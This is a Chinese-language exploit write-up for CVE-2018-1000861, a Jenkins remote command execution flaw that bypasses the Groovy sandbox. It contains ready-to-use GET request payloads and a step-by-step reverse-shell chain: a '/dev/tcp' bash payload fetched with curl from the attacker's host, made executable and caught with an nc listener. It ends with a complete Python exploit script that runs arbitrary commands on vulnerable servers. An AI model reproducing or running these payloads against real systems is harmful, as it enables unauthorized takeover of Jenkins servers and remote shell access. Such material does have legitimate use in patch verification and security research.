(CVE-2018-1000861)Jenkins 远程命令执行漏洞¶
一、漏洞简介¶
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
二、漏洞影响¶
Jenkins Version \<= 2.56
Jenkins LTS Version \<= 2.46.1
三、复现过程¶
漏洞复现:¶
1.此漏洞是没有回显的,所以我们这里直接反弹shell:¶
此漏洞的POC(直接GET请求即可):
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}
2.我们这里采取下载文件的方法来反弹shell¶
1 先在我们的服务器上防止一个文本,内容为:
bash -i >& /dev/tcp/172.26.1.156/9999 0>&1
2 然后我们替换POC中执行命令的部分为下载文件的命令:
curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt
替换后的POC:
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}
3 给予下载的脚本执行权限:
chmod 777 /tmp/1.sh
替换后的POC:
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
4 然后在我们接收shell的机器上监听之前写的端口:
nc -lvvp 9999
5 直接bash执行我们下载的脚本
bash /tmp/1.sh
替换后的POC:
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
6 回到我们监听端口的机器:
可以看到已经成功获取到了shell!
poc¶
useage
$ curl -s -I http://jenkins/| grep X-Jenkins X-Jenkins: 2.137 X-Jenkins-Session: 20f72c2e X-Jenkins-CLI-Port: 50000 X-Jenkins-CLI2-Port: 50000 $ python exp.py http://jenkins/ 'curl orange.tw' [*] ANONYMOUS_READ disable! [*] Bypass with CVE-2018-1000861! [*] Exploit success!(it should be :P)
#!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) # import sys import requests from enum import Enum # remove bad SSL warnings try: requests.packages.urllib3.disable_warnings() except: pass endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' class mode(Enum): ACL_PATCHED = 0 NOT_JENKINS = 1 READ_ENABLE = 2 READ_BYPASS = 3 ENTRY_NOTFOUND = 999 def usage(): print ''' Usage: python exp.py <url> <cmd> ''' def _log(msg, fail=False): nb = '[*]' if fail: nb = '[-]' print '%s %s' % (nb, msg) def _get(url, params=None): r = requests.get(url, verify=False, params=params) return r.status_code, r.content def _add_bypass(url): return url + 'securityRealm/user/admin/' def check(url): flag, accessible = mode.ACL_PATCHED, False # check ANONYMOUS_READ status, content = _get(url) if status == 200 and 'adjuncts' in content: flag, accessible = mode.READ_ENABLE, True _log('ANONYMOUS_READ enable!') elif status == 403: _log('ANONYMOUS_READ disable!') # check ACL bypass, CVE-2018-1000861 status, content = _get(_add_bypass(url)) if status == 200 and 'adjuncts' in content: flag, accessible = mode.READ_BYPASS, True else: flag = mode.NOT_JENKINS # check entry point, CVE-2019-1003005 if accessible: if flag is mode.READ_BYPASS: url = _add_bypass(url) status, content = _get(url + endpoint) if status == 404: flag = mode.ENTRY_NOTFOUND return flag def exploit(url, cmd): payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex') params = { 'sandbox': True, 'value': payload } status, content = _get(url + endpoint, params) if status == 200: _log('Exploit success!(it should be :P)') elif status == 405: _log('It seems Jenkins has patched the RCE gadget :(') else: _log('Exploit fail with HTTP status [%d]' % status, fail=True) if 'stack trace' in content: for _ in content.splitlines(): if _.startswith('Caused:'): _log(_, fail=True) if __name__ == '__main__': if len(sys.argv) != 3: usage() exit() url = sys.argv[1].rstrip('/') + '/' cmd = sys.argv[2] flag = check(url) if flag is mode.ACL_PATCHED: _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True) elif flag is mode.NOT_JENKINS: _log('Is this Jenkins?', fail=True) elif flag is mode.READ_ENABLE: exploit(url, cmd) elif flag is mode.READ_BYPASS: _log('Bypass with CVE-2018-1000861!') exploit(_add_bypass(url), cmd) else: _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)